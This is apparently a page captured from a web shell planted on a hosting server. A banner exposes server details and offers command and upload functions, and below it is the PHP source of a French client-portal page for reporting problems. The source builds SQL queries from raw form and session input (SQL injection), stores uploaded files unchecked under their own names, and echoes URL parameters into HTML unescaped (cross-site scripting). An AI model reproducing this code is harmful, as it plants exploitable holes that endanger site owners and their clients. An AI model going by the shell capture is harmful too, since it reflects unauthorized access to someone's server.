|
Server IP : 10.128.40.6 / Your IP : 216.73.217.20 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TEST/../TMCPRO/pages/feuillesroute/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// error_reporting(E_ALL);
// ini_set("display_errors", 1);
// echo "test fffffffffffffffffffffffffffffffff<br/>" ;
// $newPassword = 10372 ;
// $hashedPassword = password_hash($newPassword, PASSWORD_DEFAULT);
// echo "dddddd==>".$hashedPassword."<br/>" ;
// exit() ;
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$info_sal = dbi_fetch_row(dbi_query(" SELECT * FROM `client` WHERE `client_id` = ".$_SESSION['MCPRO_sal']['user_id'])) ;
$salarie_id=$_SESSION['MCPRO_sal']['user_id'] ;
$client_id = $_SESSION['MCPRO_sal']['user_id'] ;
// print_r($_POST) ;
// echo "=====================fffff====== <br/>" ;
// print_r($_FILES) ;
// exit() ;
if(!empty($_FILES) OR !empty($_POST) )
{
echo "<pre>" ;
print_r($_POST) ;
echo "</pre>" ;
echo "=====================<br/>" ;
echo "<pre>" ;
print_r($_FILES) ;
echo "</pre>" ;
$message = $_POST['message'] ;
$date_signalisation = date("Ymd") ;
dbi_query(" INSERT INTO `probleme_extaranet_client` (`id_probleme_extaranet_client`, `message`, `client_id`, `date_signalisation`) VALUES (NULL, '".$message."', '".$client_id."', '".$date_signalisation."')") ;
list($id_probleme_extaranet_client) = dbi_fetch_row(dbi_query("SELECT max(id_probleme_extaranet_client) FROM `probleme_extaranet_client` ")) ;
// exit() ;
$targetDirectory = "uploads/"; // Spécifiez le répertoire de destination
if (!file_exists($targetDirectory)) {
mkdir($targetDirectory, 0755, true); // Crée le répertoire s'il n'existe pas
}
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["images"]["name"])) {
$files = $_FILES["images"];
for ($i = 0; $i < count($files["name"]); $i++) {
$targetFile = $targetDirectory . basename($files["name"][$i]);
move_uploaded_file($files["tmp_name"][$i], $targetFile);
// echo "Image téléchargée avec succès: " . $targetFile . "<br>";
dbi_query(" INSERT INTO `uploads` (`id_uploads`, `id_probleme_extaranet_client`, `name_photo`) VALUES (NULL, '".$id_probleme_extaranet_client."', '".$targetFile."'); ") ;
}
} else {
echo "Aucune image téléchargée.";
}
// $code_1 = $_POST['code_1'] ;
// $code_2 = $_POST['code_2'] ;
// $code_3 = $_POST['code_3'] ;
// $date_code_historique = date("Ymd") ;
// dbi_query("UPDATE client SET code_1 = '".$code_1."' , code_2 = '".$code_2."' , code_3 = '".$code_3."' WHERE client_id = ".$_SESSION['MCPRO_sal']['user_id']);
// dbi_query("INSERT INTO `code_historique` (`id_code_historique`, `client_id`, `date_code_historique`, `statue`) VALUES ('', '".$_SESSION['MCPRO_sal']['user_id']."', '".$date_code_historique."', '1')") ;
// header('Location:s_probleme.php?msg= les codes sont bien modifiés&color=success');
}
?>
<!DOCTYPE html>
<html lang="en">
<?php include('header.php'); ?>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!-- Navbar -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Left navbar links -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#" role="button"><i class="fas fa-bars"></i></a>
</li>
</ul>
</nav>
<!-- /.navbar -->
<!-- Main Sidebar Container -->
<?
// echo "=dddttddd=>".$info_sal['client_nom']."<br/>" ;
// exit() ;
?>
<?php include('aside.php'); ?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<div class="container-fluid">
</div><!-- /.container-fluid -->
</section>
<!-- Main content -->
<section class="content">
<div class="container-fluid">
<div class="row">
<div class="col-md-12">
<div class="card bg-light d-flex flex-fill">
<div class="card-body pt-0">
<div class="row">
<div class="col-7">
<STRONG><b><i class="fas fa-user">   </i> <?=$info_sal['client_nom'] ?> </b></STRONG>
<ul class="ml-4 mb-0 fa-ul text-muted">
<li class="text-muted"> Matricule : 0<?=$info_sal['client_id']?> </li>
</ul>
</div>
</div>
</div>
</div>
<section class="content">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12">
<?php
if(isset($_GET["msg"])){
?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<!-- /.card -->
</div>
<!-- /.col -->
<!-- /.col -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</section>
<div class="card card-primary">
<!-- /.card-header -->
<div class="card-body">
<form action="" method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="exampleTextarea">Votre message</label>
<!-- Utilisez la classe "form-control" pour appliquer le style Bootstrap à la textarea -->
<textarea class="form-control" id="exampleTextarea" rows="3" name="message"></textarea>
</div>
<label for="images">Sélectionnez des images à télécharger (multiple autorisé):</label>
<input type="file" name="images[]" id="images" multiple accept="image/*">
<br>
<input class="btn btn-primary" type="submit" value="Télécharger">
</form>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
<!-- /.col -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.2.0
</div>
<strong>MC PRO 2022 </strong>
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
</body>
</html>
